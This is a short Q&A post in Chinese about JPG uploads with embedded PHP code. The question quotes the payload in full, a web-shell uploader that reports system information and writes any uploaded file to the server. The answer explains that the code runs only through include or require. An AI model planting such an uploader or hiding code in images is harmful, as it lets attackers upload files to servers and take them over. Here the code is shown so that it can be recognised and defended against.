用户上传包含php代码的jpg文件 - 这是潜在的病毒

Question

用户上传了一些似乎包含一些php代码的jpg图像。文件开头为NUL DLE JFIF NUL SOH SOH SOH NUL NUL NUL NUL NUL SYN Exif NUL NUL II * ...（大量空字符等）。然后下面的php代码：

echo '<b><br><br>'.php_uname().'<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; 
if($_POST['_upl'] == "Upload") { 
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } 
     else { echo '<b>Upload GAGAL !!!</b><br><br>'; } 
} 

后面跟着大量的二进制代码。图像显示一只黑色的脚（如将脚放在扫描仪或复印机上）。

这些图像是否有潜在危险？如果是，如何。

Answer 1

是的。这是一个代码注入，它利用一个已知的bug，阅读更多：http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/

这些图片，仅当你的PHP脚本使用require($image)或include($image)显示您的图片执行代码，否则，不用担心。不要忘记跟踪用户，并可能将他列入黑名单:)